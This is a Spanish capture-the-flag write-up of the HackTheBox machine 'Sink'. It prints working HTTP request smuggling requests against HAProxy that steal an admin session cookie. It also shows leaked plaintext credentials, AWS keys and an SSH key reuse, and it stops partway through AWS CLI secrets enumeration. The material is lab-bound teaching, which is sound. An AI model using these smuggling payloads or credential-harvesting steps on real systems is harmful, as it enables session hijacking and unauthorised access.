HackTheBox - Sink
Creado
Máquina Linux nivel desquiciado. Nos enfrentaremos a un HTTP Request Smuggling
(loco loco), saltaremos entre usuarios aún más locos, veremos commits relacionados a pasos a producción y pruebas extrañas con 🔑🔑, jugaremos bastante con AWS CLI
, encontraremos secretos :O y finalmente desencriptaremos un archivo también jugando con AWS
y llaves KMS
.
TL;DR (Spanish writeup)
Creada por: MrR3boot.
Desquiceddd! Este writeup es largito (más que nada por los bloques de código), así que cafecito y a rompernos la cabeza…
Muy linda máquina.
Nos encontraremos con dos servicios, uno corriendo Gitea
y otro Gunicorn
, en el camino nos veremos las caras con un HTTP request smuggling
el cual nos permitirá interceptar la cookie de sesión del usuario admin@sink.htb
. La usaremos para entrar en un panel y encontrar unas notas, cada una tiene una credencial, una de ellas nos permitirá entrar al servicio Gitea
referenciado antes.
Veremos unos repositorios, commits y demás info. En uno de los commits el usuario marcus
estaba haciendo pruebas con su llave SSH
privada y nos dejó el rastro. Usaremos esa llave para entrar en la máquina como él.
Empezaremos a jugar con AWS CLI
para ver logs y secretos, en el jugueteo :o encontraremos otras credenciales guardadas como eso, secretos. Una de ellas pertenecen al usuario david
y nos permitirán generar una sesión como él tanto en Gitea
como en la máquina.
David en sus archivos tiene uno llamado servers.enc
y esta encriptado mediante aws
. Seguiremos jugando con AWS-CLI
, pero ahora con kms
para interactuar con keyId
s y buscar la manera de desencriptar el archivo validándolo contra distintas llaves que iremos encontrando.
Finalmente encontraremos una llave que nos devuelve una cadena en base64
, la tomamos y guardamos en un archivo, el tipo de archivo generado es un comprimido gzip
, usaremos zcat
para descubrir que contiene el archivo servers.yml
, veremos otras credenciales en este caso de un usuario llamado admin
. Nos servirán para generar una Shell como el usuario root
.
…
Clasificación de la máquina según la gentesita
Muuuuuuuuuy real, alguna que otra cosita conocida pero sobre todo demasiada enumeración (mucha lectura y búsqueda).
Escribo para tener mis “notas”, por si algun día se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.
…
Vuelve que el dolor me mata.
…
Reconocimiento #
…
Usamos nmap para descubrir puertos abiertos 📌
Realizaremos un escaneo de puertos para saber que servicios esta corriendo la máquina:
❭ nmap -p- --open -v 10.10.10.225 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
❭ cat initScan
# Nmap 7.80 scan initiated Wed Feb 17 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.225
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.225 () Status: Up
Host: 10.10.10.225 () Ports: 22/open/tcp//ssh///, 3000/open/tcp//ppp///, 5000/open/tcp//upnp///
# Nmap done at Wed Feb 17 25:25:25 2021 -- 1 IP address (1 host up) scanned in 90.06 seconds
Perfecto, nos encontramos los puertos y servicios:
Puerto | Descripción |
---|---|
22 | SSH: Tenemos la posibilidad de obtener una Shell de manera segura. |
3000 | PPP: No lo sabemos aún. |
5000 | UPnP: Conjunto de protocolos para la comunicación de periféricos en la red. |
Hagamos un escaneo de scripts y versiones con base en cada servicio (puerto), con ello obtenemos información más detallada de cada uno:
❭ nmap -p 22,3000,5000 -sC -sV 10.10.10.225 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos. |
-sC | Muestra todos los scripts relacionados con el servicio. |
-sV | Nos permite ver la versión del servicio. |
-oN | Guarda el output en un archivo. |
Obtenemos:
# Nmap 7.80 scan initiated Wed Feb 17 25:25:25 2021 as: nmap -p 22,3000,5000 -sC -sV -oN portScan 10.10.10.225
Nmap scan report for 10.10.10.225
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=1f3e9a13ee13832b; Path=/; HttpOnly
| Set-Cookie: _csrf=Aq4ydKpCQiIxK9nMLskgSeyGzwI6MTYxMzU3NjcxMDE1ODI4NzczNQ; Path=/; Expires=Thu, 18 Feb 2021 15:45:10 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 17 Feb 2021 15:45:10 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=4962a49b06cbe2fd; Path=/; HttpOnly
| Set-Cookie: _csrf=VEhuM5Nh9ZTyY63RRBsfaoun5dI6MTYxMzU3NjcxNjE4MjM4NjQzMg; Path=/; Expires=Thu, 18 Feb 2021 15:45:16 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 17 Feb 2021 15:45:16 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
5000/tcp open http Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=2/17%Time=602D37C4%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"...");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 17 25:25:25 2021 -- 1 IP address (1 host up) scanned in 108.67 seconds
Bien, tenemos varias cositas:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 |
3000 | PPP (Al parecer HTTP) | - |
- Tiene varias referencias hacia
Gitea
. - Vemos 2 cookies y una relacionada a
gitea
.
Puerto | Servicio | Versión |
---|---|---|
5000 | HTTP | Gunicorn 20.0.0 |
Nada más por ahora, así que empecemos a validar cada servicio y ver por donde podemos jugar…
…
Enumeración #
…
Recorremos el puerto 3000 📌
Listos, confirmamos el servicio Gitea
.
🦠 Básicamente nos permite alojar control de versiones usando Git
y es un fork (copia) de Gogs (que nos ayuda a correr nuestro propio servicio Git
, mejor dicho, tener nuestro propio GitHub), pero mejorado y para toda la familia.
Vale, entonces enumeremos a ver que sacamos…
Si vamos al apartado explore
tenemos 3 ítems, veamos users
:
- Usuario:
david
. - Usuario:
marcus
. - Usuario:
root
. - Versión Gitea:
1.12.6
. - Versión Go:
1.14.12
.
Validando cada usuario, vemos que todos están asociados a una organización, Sink_Solutions
, en Organizations la encontramos:
También podemos logearnos, probando con los usuarios y posibles contraseñas no conseguimos nada…
Buscando vulnerabilidades con las versiones relacionadas encontramos una que posiblemente (no creo :P) esté relacionada, pero debemos estar autenticados, guardémosla por si algo:
…
Recorremos el puerto 5000 📌
🦄 Gunicorn
(Green Unicorn) is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model compatible with various web frameworks, simple and lightweight server. musyokaian.
Pero khe jeso de WSGI, rápidamente:
⚙️ WSGI
permite que programas hechos en Python puedan comunicarse a través del protocolo HTTP sin ningún tipo de framework o librería. codigofacilito.
Tenemos un login panel, pero también nos podemos registrar, démosle…
- Tenemos un correo:
admin@sink.htb
.
Bien, pa que lo sepamos:
En el apartado notes
nos permite agregar, ver y borrar notas:
Son notas que cree para probar algun tipo de injección o brecha. Pero por el momento nada…
…
Explotación #
…
Encontramos un vector de ataque muuuy potencial 📌
Bueno bueno bueeeeeeeeeeno…
Después de dar vueltas por las páginas con BurpSuite interceptando las peticiones del servidor http://10.10.10.25:5000
, notamos algo llamativo:
Esta usando un proxy llamado HAProxy
entre las peticiones, pues veamos que se trata:
🚇 HAProxy
es un balanceador de cargas (load balancer: transfiere peticiones entre host para evitar colapsos y hacer que sean procesadas más rápido) entre servidores.
- YT - Balanceador de carga con HAProxy.
- HAProxy en Wikipedia.
- Balanceadores de carga, mejora el rendimiento de tu web.
Teniendo esto claro, validemos si existen vulnerabilidades hacia ese servicio…
Inicialmente nos encontramos con el CVE CVE-2020-11100, el cual apoyado del protocolo HTTP/2
(para hacer un uso más eficiente de los recursos en la red) puede permitirle al atacante enviar una petición “especial”, que puede generar un heap-based buffer overflow
y finalmente una ejecución remota de comandos en el sistema.
Es una vulnerabilidad descubierta por Felix Wilhelm
(integrante del grupo de hackers de Google (Project Zero
)), en el blog oficial de HAProxy
nos redireccionan al writeup creado por él:
- HAProxy Security Update HTTP/2 HPACK - haproxy.com.
- HAProxy: out-of-bounds-write in HTTP/2 - bugs.chromium.org.
Dándole vistazos a otros recursos y temas relacionados a esa vuln, no logre interactuar con ella…
…
Buscando y buscando encontré un PoC en formato de video explotando una vulnerabilidad llamada:
HTTP Request Smuggling
Y que afecta a HAProxy
, esta tiene relacionado el CVE CVE-2019-18277.
Antes de probar la vuln, entendamos (o intentémoslo) sobre HTTP Request Smuggling
.
¿Qué es un HTTP Request Smuggling? (Descubrámoslo) 🪕
Como indica Busra Demir en su artículo, HTTP request smuggling
es una técnica la cual interfiere en el proceso por el que pasan las peticiones del front al back. Donde el atacante puede modificar la petición para incluir otra en la misma petición. Lo que pasara es que ejecutara la primera petición normalmente, pero al terminar de procesarla ejecutara la segunda que tenemos incrustada, logrando así el éxito de la vulnerabilidad.
Esto se logra modificando/agregando 2 headers HTTP:
* Content-Length Header: the size of the request body (in bytes).
* Transfer-Encoding Header: specified as chunked so that the request body will be sent in chunks (separated by newline). 0 is used to end a chunk.
Pero ¿para qué nos sirve esto? Como explica portswigger nos puede permitir bypassear controles de seguridad, obtener acceso a información sensible yyyy comprometer otros usuarios que estén en la aplicación.
…
Ahora sí, sigamos y probemos si nuestra versión es vulnerable a HTTP Request Smuggling
…
Siguiendo algunos ejemplos de referencias anteriores y de este artículo, logramos obtener la versión de HAProxy
que esta usando el servidor:
Si enviamos la siguiente petición:
- Enviamos la data en formato
chunked
(separada por\n
(newline)). - El total de la traza serian
9
caracteres (note=hola
). - Con
0
le indicamos el final de la data en formatochunk
.
Obtenemos la versión concreta de HAProxy:
HAProxy Version 1.9.10
Bueno, pues podemos enfocarnos un poco más. Quizás esta sea la ruta adecuada para la explotación. Sigamos validando si podemos explotar la web mediante el smuggling…
En las referencias del CVE, encontramos este PoC:
Dándole unas vueltas nos indica algo necesario para la correcta explotación:
The backend must also support HTTP keep-alive.
Así que debemos cambiar el header Connection: close
a Connection: keep-alive
.
Démosle a la locura, modifiquemos la petición incrustando otra solicitud a ver que recibimos:
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 259 <!-- original -->
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding: chunked
9
note=hola
0
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded <!-- smuggling -->
Content-Length: 251
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
note=holas
Y validamos el apartado /notes
, tenemos:
Nada :P 😂
…
Logramos la explotación del HTTP Request Smuggling 📌
Revisando de nuevo el post, nos dice que muchas veces el chunked
no es tomado y debemos agregarle al inicio de ese header la cadena \x0b
(hexadecimal) para que lo interprete.
Después de jugar con él, intentando agregarlo a la petición, obteníamos lo mismo. Peeeeeeero era porque lo estaba haciendo mal.
Si pasamos el valor hexadecimal a base64 externamente (nosotros mismos) y después en Burp usamos el convertidor interno de base64 al valor original, ahí si logramos ver el \x0b
reflejado:
- Pasar
0b
a base64:Cw==
. - Pegar
Cw==
en la petición, seleccionarlo y decodearlo de base64 a valor original:
Seleccionamos la cadena Cw==
y hacemos:
Clic derecho > Convert-Selection > Base64 > Base64-decode (o de la forma corta: CTRL + SHIFT + B)
Y obtenemos:
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded <!-- original -->
Content-Length: 259
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding:chunked
9
note=hola
0
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded <!-- smuggling -->
Content-Length: 251
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDUzCA.YVpcMp8dXmocfLzRQa8HEFDUp_8
note=holas
Perfecto, validemos si cambia algo ahora…
Nos genera dos notas, una esta vacía y la otra llenita :P Veamos la llenita claramente:
Vale vale valeeeeeeeeeee, que es esta locuraaaaaaaaaaaa… Tenemos una nueva cookie
de algún usuario (o pues al menos es diferente a la nuestra) corriendo el servicio sobre el localhost
.
Viendo lo que tenemos podemos intuir que esta pasando:
(Esto puede sonar enrredado (supongo) pero es lo que entiendo que paso)
🚨 Normalmente (como vimos en las explicaciones anteriores) queremos ingresar a algún recurso al que no tengamos acceso. Como en este caso no sabemos a cuál, lo lanzamos contra el mismo recurso. Vemos que se efectúa nuestro intento, logrando así interceptar la otra petición, pero obteniendo la respuesta en el mismo recurso que usamos para enviarla (o sea, en /notes
)
La petición es un delete
a la nota 1234 (/notes/delete/1234
) pero ejecutada desde el localhost
por el puerto 8080
y claramente por un usuario interno, lo sabemos por qué obtenemos una Cookie
distinta a la nuestra. Podemos usarla para cambiar la que tenemos por esa, recargar la página y ver con quien estamos (si es que cambiamos a otro usuario)…
GET /notes/delete/1234 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YDSQAA._g
Pero si notamos el tamaño de la cookie
es más corto (la comparamos con la nuestra), agreguémosle más buffer, simplemente cambiando el valor de la cabecera a Content-Length: 250
por ejemplo y veamos la respuesta ahora:
(Justo acá reiniciaron la máquina, pero pues lo unico que cambiaran seran las cookies, tanto la mia como la que obtengamos)
La respuesta que tenemos en la nueva nota es:
Nada ._ .
Si ponemos más de 308 como tamaño volvemos a obtener solo una nota, entonces podemos borrar el contenido de note=
(para liberar espacio) y coloquemos Content-Length: 303
(después de algún tanteo):
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 254
Origin: http://10.10.10.225:5000
DNT: 1
Connection: keep-alive
Referer: http://10.10.10.225:5000/notes
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDWNyg.naJPYMmG6_8HKfdGqeeJMTwjVR4
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Transfer-Encoding:chunked
9
note=hola
0
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImxhbnpAc2luay5odGIifQ.YDWNyg.naJPYMmG6_8HKfdGqeeJMTwjVR4
note=
Y obtenemos ahora si en la nota:
GET /notes/delete/1234 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YDWL9A.dG5uqF6Y8oZfi7uQi3IATStQVIA
X-Forwarded-For: 127.0.0.1
Perfecto, ahora si es del tamaño adecuado :)
(Volvieron a reiniciar la máquina😐)
Tomemos la cookie. Yo usare la extensión de Firefox llamada Cookie-Editor
(que nos permite jugar con las cookies claramente :P)
Añadimos una nueva cookie, le ponemos de nombre session
y pegamos la cookie que encontramos y damos clic en guardar (add
). Ahora simplemente recargamos la página y estaríamos dentro como el usuario admin@sink.htb
:
…
Encontramos cositas siendo el usuario admin 📌
Si revisamos las notas tenemos 3:
El contenido de cada una es el siguiente:
Note (1):
Chef Login : http://chef.sink.htb Username : chefadm Password : /G'FEGc&zEx{4]zz
Note (2):
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3I>ZB})zzfO3
Note (3):
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : gB>HGGK\{*L.f83C
Opa, tenemos 3 nuevas URL (una aparentemente con certificado SSL), con sus respectivos usuarios y contraseñas… Agreguémoslas al /etc/hosts
e inspeccionemos…
❭ cat /etc/hosts
...
10.10.10.225 chef.sink.htb code.sink.htb nagios.sink.htb
...
Pero al colocarlos en la web, ninguno redirecciona a ningún sitio. Y pues tiene sentido, no sabemos en qué puerto están corriendo por lo tanto no encuentra realmente lo que tiene que resolver… Pero pues tenemos credenciales y si recordamos, hay un servicio sobre el puerto 3000
(Gitea) con panel login (y en el cual uno de los usuarios era root
), intentemos usar la contraseña que tenemos de root
sobre ese login:
Yyyyy:
Perfecto, tamos dentro, ahoraaaaaaaaaaaaaaaaaaa a enumerar :P
Enumeramos el servicio Gitea como el usuario root 📌
Nos encontramos con 4 repositorios (aunque solo se vean 3 en la imagen hay 4):
'root' created repository 'root/Key_Management'
2 months ago
O sea que tenemos:
Repositorios:
* Log_Management.
* Key_Management.
* Serverless-Plugin.
* Kinesis_ElasticSearch.
Revisando cada uno, sus respectivos commits y contenido encontramos esto:
- El usuario
marcus
es el que hace los push (sube los cambios),root
simplemente crea los repos.
Cositas relevantes de cada repo:
…
🪕 Log_Management (commits)
Si entramos en ese commit, tenemos el access key ID
y la secret access key
de AWS
(Amazon Web Services):
<?php
require 'vendor/autoload.php';
use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;
$client = new CloudWatchLogsClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'version' => 'latest'
]);
try {
$client->createLogGroup(array(
'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
try {
$client->createLogStream([
'logGroupName' => 'Chef_Events',
'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
echo $e->getMessage();
echo "\n";
}
?>
Podemos tenerlo en cuenta (además del puerto 4566
sobre el `lo), ya que en el siguiente commit esos valores son remplazados:
…
🪕 Key_Management (commits)
Ahora entremos en ese commit en concreto:
Nos encontramos con la llave privada de un usuario (posiblemente de marcus
) guardada en el archivo .keys/dev_keys
.
En el mismo commit vemos como usa la llave mediante el objeto ec2.php
:
<?php
require 'vendor/autoload.php';
use Aws\Ec2\Ec2Client;
$ec2Client = new Aws\Ec2\Ec2Client([
'region' => 'eu',
'version' => '2020-12-21',
'profile' => 'default',
'endpoint' => 'http://127.0.0.1:4566'
]);
$keyPairName = 'dev_keys';
$result = $ec2Client->createKeyPair(array(
'KeyName' => $keyPairName
));
// Save the private key
$saveKeyLocation = getenv('HOME') . ".keys/{$keyPairName}";
file_put_contents($saveKeyLocation, $result['keyMaterial']);
// Update the key's permissions so it can be used with SSH
chmod($saveKeyLocation, 0600);
Y para pasar a producción cambian el archivo dev_keys
por prod_keys
:
…
Bueno, pues probemos a copiarnos esa key, pasarla a un archivo, darle los permisos necesarios (chmod 600 <file>
) e intentar acceder mediante SSH
con alguno de los usuarios, inicialmente con marcus
que fue el que hizo el push:
En los demás repos no encontre nada realmente relevante :s
❭ chmod 600 dev_keys
❭ ssh marcus@10.10.10.225 -i dev_keys
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-53-generic x86_64)
...
Yyyyy estamos dentroooooooooooooooooo:
marcus@sink:~$ id
uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)
marcus@sink:~$ ls
user.txt
marcus@sink:~$ ls /home
david git marcus
marcus@sink:~$
Niceeeeeeeeeeeeeeeeeee. LOCO LOCOOOOOOOOOOOOOOo lo del smuggling.
Ahora si, quien sabe que nos espere :o
…
AWS Secrets: marcus -> david #
Si enumeramos servicios recordamos al puerto que habíamos visto antes, el 4566
:
marcus@sink:~$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:33060 0.0.0.0:* LISTEN
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-1 0.0.0.0:* LISTEN
tcp 0 0 localhost:34833 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-2 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-3 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-4 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-5 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-6 0.0.0.0:* LISTEN
tcp 0 0 localhost:4566 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:x11-7 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6008 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6009 0.0.0.0:* LISTEN
tcp 0 0 localhost:smtp 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6012 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6013 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6014 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6015 0.0.0.0:* LISTEN
...
Además de muchos otros pero sobre una IP diferente que me recordo a Docker
, enumeremos el servicio docker
a ver que encontramos:
marcus@sink:~$ systemctl status docker
● docker.service - Docker Application Container Engine
Loaded: loaded (/lib/systemd/system/docker.service; disabled; vendor preset: enabled)
Active: active (running) since Wed 2021-02-24 25:25:25 UTC; 25h ago
TriggeredBy: ● docker.socket
Docs: https://docs.docker.com
Main PID: 1487 (dockerd)
Tasks: 147
Memory: 150.5M
CGroup: /system.slice/docker.service
├─1487 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
├─2225 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 4566 -container-ip 172.18.0.2 -container-port 4566
├─2313 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6000 -container-ip 172.17.0.2 -container-port 8080
├─2363 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6010 -container-ip 172.17.0.3 -container-port 8080
├─2394 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6007 -container-ip 172.17.0.4 -container-port 8080
├─2447 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6013 -container-ip 172.17.0.5 -container-port 8080
├─2502 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6012 -container-ip 172.17.0.6 -container-port 8080
├─2552 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6002 -container-ip 172.17.0.7 -container-port 8080
├─2594 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6011 -container-ip 172.17.0.8 -container-port 8080
├─2642 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6014 -container-ip 172.17.0.9 -container-port 8080
├─2682 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6009 -container-ip 172.17.0.10 -container-port 8080
├─2740 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6015 -container-ip 172.17.0.11 -container-port 8080
├─2780 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6006 -container-ip 172.17.0.12 -container-port 8080
├─2844 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6005 -container-ip 172.17.0.13 -container-port 8080
├─2873 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6001 -container-ip 172.17.0.14 -container-port 8080
├─2907 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6003 -container-ip 172.17.0.15 -container-port 8080
├─2953 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6008 -container-ip 172.17.0.16 -container-port 8080
└─3115 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 6004 -container-ip 172.17.0.17 -container-port 8080
marcus@sink:~$
Opa, vemos que esta corriendo varios contenedores, al inicio tenemos al que estamos buscando:
...
├─2225 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 4566 -container-ip 172.18.0.2 -container-port 4566
...
Bien, sabemos que es un contenedor. Validemos que esta corriendo sobre él:
marcus@sink:~$ curl http://localhost:4566 ; echo
{"status": "running"}
Esta respuesta me acordó a la máquina:
Spoiler: Nombre de la otra máquina
Bucket
En la que también jugábamos con AWS
y contenedores.
Podemos hacer dos cosas, un Remote Port Forwarding
(redireccionamiento de puertos) y validar con nmap
si encontramos algo y además hacer algo de fuzzing
para ver si hay otras rutas… O podemos volver a hablar de la máquina (del spoiler) y recordar que en el fuzzing hecho allá, obteníamos la ruta /health
que nos sirve para validar el rendimiento y disponibilidad de los recursos de AWS.
Entonces podemos hacer una petición ahora junto al /health
y ver que servicios (y su estado) esta corriendo AWS
:
marcus@sink:~$ curl http://localhost:4566/health ; echo
{"services": {"logs": "running", "secretsmanager": "running", "kms": "running"}}
Perfectowowo e.e Pues tenemos 3 servicios activos y corriendo:
Y podemos apoyarnos del API
de Amazon Web Services (aws)
para jugar con lo que encontramos y ver si podemos sacar algo importante:
Probemos con logs primero, intentemos ver la descripción de los grupos de logs creados:
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 --region us-east-1 logs describe-log-groups
Unable to locate credentials. You can configure credentials by running "aws configure".
Si ejecutamos ese comando nos pide:
marcus@sink:~$ aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:
Si recordamos en Gitea
habíamos encontrado un commit que tenía esta información, busquémosla y pongámosla acá…
...
$client = new CloudWatchLogsClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'version' => 'latest'
]);
...
(Aunque para comprobar el funcionamiento coloque primero cualquier valor en los dos y aun así me trajo la información, así que no es necesaria esta config (supongo))
marcus@sink:~$ aws configure
AWS Access Key ID [None]: asd
AWS Secret Access Key [None]: asdfsadf
Default region name [None]: us-east-1
Default output format [None]: json
Y si ejecutamos de nuevo:
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 logs describe-log-groups
{
"logGroups": [
{
"logGroupName": "cloudtrail",
"creationTime": 1614265741999,
"metricFilterCount": 0,
"arn": "arn:aws:logs:us-east-1:000000000000:log-group:cloudtrail",
"storedBytes": 91
}
]
}
Listones, si jugamos así con algunos parámetros podremos ir descubriendo info.
Ahora veamos algo de secretsmanager:
